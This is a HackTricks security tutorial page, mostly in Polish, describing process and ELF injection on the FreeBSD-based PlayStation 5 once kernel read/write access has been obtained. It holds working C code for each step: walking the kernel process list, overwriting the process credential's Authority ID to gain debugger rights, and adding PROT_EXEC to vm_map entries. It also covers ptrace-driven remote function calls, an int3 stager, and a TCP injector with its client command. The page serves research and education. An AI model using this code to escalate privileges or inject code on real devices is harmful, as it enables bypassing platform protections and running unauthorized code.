hacktricks/src/binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md

184 lines
9.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study)
{{#include ../banners/hacktricks-training.md}}
## Overview
Ta strona dokumentuje praktyczną technikę iniekcji procesu/ELF w trybie użytkownika Unix/BSD na PlayStation 5 (PS5), która oparta jest na FreeBSD. Metoda uogólnia się na pochodne FreeBSD, gdy już posiadasz kernel read/write (R/W) primitives. W skrócie:
- Zmodyfikuj bieżące poświadczenia procesu (ucred), aby nadać uprawnienia debuggera, umożliwiając ptrace/mdbg na dowolnych procesach użytkownika.
- Znajdź procesy docelowe, przeglądając listę allproc w jądrze.
- Obejście ograniczeń PROT_EXEC przez ustawienie vm_map_entry.protection |= PROT_EXEC w vm_map procesu docelowego za pomocą zapisów do pamięci jądra.
- Użyj ptrace do wykonania Remote Function Invocation (RFI): zawieś wątek, ustaw rejestry, aby wywołać dowolne funkcje wewnątrz celu, wznowienie, zbierz wartości zwrotne i przywróć stan.
- Zmapuj i uruchom dowolne payloady ELF wewnątrz procesu docelowego używając in-process ELF loadera, następnie uruchom dedykowany wątek wykonujący twój payload i wywołujący breakpoint, aby się czysto odłączyć.
PS5 hypervisor mitigations warte odnotowania (sformułowane w kontekście tej techniki):
- XOM (execute-only .text) uniemożliwia odczyt/zapis .text jądra.
- Wyczyszczenie CR0.WP lub wyłączenie CR4.SMEP powoduje hypervisor vmexit (crash). Tylko zapisy do danych jądra są wykonalne.
- Userland mmap jest domyślnie ograniczony do PROT_READ|PROT_WRITE. Przyznanie PROT_EXEC musi być zrobione przez edycję wpisów vm_map w pamięci jądra.
Ta technika jest post-exploitation: zakłada istnienie kernel R/W primitives uzyskanych w chainie exploita. Publiczne payloady demonstrują to do firmware 10.01 w momencie pisania.
## Kernel data-only primitives
### Process discovery via allproc
FreeBSD utrzymuje dwukierunkową listę procesów w kernel .data pod allproc. Mając kernel read primitive, iteruj ją, aby zlokalizować nazwy procesów i PIDs:
```c
struct proc* find_proc_by_name(const char* proc_name){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry
if (!strcmp(proc->p_comm, proc_name)) return proc;
kernel_copyout(next, &next, sizeof(uint64_t)); // advance next
} while (next);
free(proc);
return NULL;
}
void list_all_proc_and_pid(){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));
printf("%s - %d\n", proc->p_comm, proc->pid);
kernel_copyout(next, &next, sizeof(uint64_t));
} while (next);
free(proc);
}
```
Notatki:
- KERNEL_ADDRESS_ALLPROC jest zależny od firmware.
- p_comm to nazwa o stałej długości; rozważ wyszukiwania pid->proc w razie potrzeby.
### Podnieś poświadczenia do debugowania (ucred)
Na PS5 struct ucred zawiera pole Authority ID dostępne przez proc->p_ucred. Zapisanie wartości Authority ID odpowiadającej debuggerowi przyznaje ptrace/mdbg nad innymi procesami:
```c
void set_ucred_to_debugger(){
struct proc* proc = get_proc_by_pid(getpid());
if (proc){
uintptr_t authid = 0; // read current (optional)
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
free(proc);
}
}
```
- Offset 0x58 jest specyficzny dla rodziny firmware PS5 i musi być zweryfikowany dla każdej wersji.
- Po tym zapisie injector może przyłączyć się i instrumentować procesy użytkownika za pomocą ptrace/mdbg.
## Omijanie mapowań użytkownika tylko RW: vm_map PROT_EXEC flip
Userland mmap może być ograniczony do PROT_READ|PROT_WRITE. FreeBSD śledzi przestrzeń adresową procesu w vm_map z węzłami vm_map_entry (BST plus lista). Każdy wpis zawiera pola protection i max_protection:
```c
struct vm_map_entry {
struct vm_map_entry *prev,*next,*left,*right;
vm_offset_t start, end, avail_ssize;
vm_size_t adj_free, max_free;
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
int wired_count; vm_pindex_t lastr;
};
```
Mając kernel R/W możesz zlokalizować targets vm_map i ustawić entry->protection |= PROT_EXEC (a w razie potrzeby entry->max_protection). Uwagi praktyczne dotyczące implementacji:
- Przechodź wpisy albo liniowo przez next, albo używając balanced-tree (left/right) dla wyszukiwania po zakresie adresów w O(log n).
- Wybierz znany region RW, którym zarządzasz (scratch buffer lub mapped file) i dodaj PROT_EXEC, aby móc stageować kod lub loader thunki.
- Kod PS5 SDK dostarcza helpery do szybkiego map-entry lookup i przełączania protekcji.
To omija userlands mmap policy przez bezpośrednią edycję kernel-owned metadata.
## Remote Function Invocation (RFI) with ptrace
FreeBSD nie ma Windows-owego VirtualAllocEx/CreateRemoteThread. Zamiast tego wymuszasz, aby target wywołał funkcje wewnątrz siebie pod kontrolą ptrace:
1. Attachnij się do targetu i wybierz wątek; może mieć zastosowanie PTRACE_ATTACH lub PS5-specific mdbg flows.
2. Zapisz kontekst wątku: registers, PC, SP, flags.
3. Zapisz argument registers zgodnie z ABI (x86_64 SysV lub arm64 AAPCS64), ustaw PC na docelową funkcję i opcjonalnie umieść dodatkowe args/stack według potrzeby.
4. Wykonuj single-step lub kontynuuj aż do kontrolowanego stopu (np. software breakpoint lub sygnał), potem odczytaj wartości zwracane z regs.
5. Przywróć oryginalny kontekst i kontynuuj.
Use cases:
- Call into an in-process ELF loader (e.g., elfldr_load) with a pointer to your ELF image in target memory.
- Invoke helper routines to fetch returned entrypoints and payload-args pointers.
Example of driving the ELF loader:
```c
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
intptr_t args = elfldr_payload_args(target_pid);
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
```
Loader mapuje segmenty, rozwiązuje imports, stosuje relocations i zwraca punkt wejścia (często CRT bootstrap) oraz nieprzezroczysty wskaźnik payload_args, który Twój stager przekazuje do payloads main().
## Threaded stager and clean detach
Minimalny stager wewnątrz celu tworzy nowy pthread, który uruchamia main ELF-a, a następnie wywołuje int3, aby zasygnalizować injectorowi, żeby się odłączył:
```c
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
pthread_t thread;
functions->pthread_create_ptr(&thread, 0,
(void*(*)(void*))functions->elf_main, functions->payload_args);
asm("int3");
return 0;
}
```
- Wskaźniki SCEFunctions/payload_args są dostarczane przez loader/SDK glue.
- Po breakpoint i detach payload kontynuuje w osobnym thread.
## Pełny pipeline (implementacja referencyjna dla PS5)
Działająca implementacja jest dostarczana jako mały TCP injector server oraz skrypt klienta:
- NineS server nasłuchuje na TCP 9033 i odbiera nagłówek zawierający nazwę procesu docelowego, po którym następuje ELF image:
```c
typedef struct __injector_data_t{
char proc_name[MAX_PROC_NAME];
Elf64_Ehdr elf_header;
} injector_data_t;
```
- Użycie klienta Python:
```bash
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
```
Przykład Hello-world payload (loguje do klog):
```c
#include <stdio.h>
#include <unistd.h>
#include <ps5/klog.h>
int main(){
klog_printf("Hello from PID %d\n", getpid());
return 0;
}
```
## Praktyczne uwagi
- Offsety i stałe (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) są specyficzne dla firmware i muszą być aktualizowane dla każdej wersji.
- Zabezpieczenia hypervisora wymuszają zapisy do jądra wyłącznie jako dane; nie próbuj patchować CR0.WP lub CR4.SMEP.
- Pamięć JIT jest alternatywą: niektóre procesy udostępniają PS5 JIT APIs do alokacji wykonywalnych stron. Zmiana ochrony vm_map usuwa konieczność polegania na sztuczkach JIT/mirroring.
- Utrzymuj mechanizm zapisu/przywracania rejestrów odporny na błędy; w razie niepowodzenia możesz doprowadzić do deadlock lub crash targetu.
## Publiczne narzędzia
- PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
- ELF loader: https://github.com/ps5-payload-dev/elfldr
- Injector server: https://github.com/buzzer-re/NineS/
- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
- Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
## Źródła
- [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/)
- [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk)
- [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr)
- [buzzer-re/NineS](https://github.com/buzzer-re/NineS/)
- [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils)
- [Mira](https://github.com/OpenOrbis/mira-project)
- [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv)
- [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html)
{{#include ../banners/hacktricks-training.md}}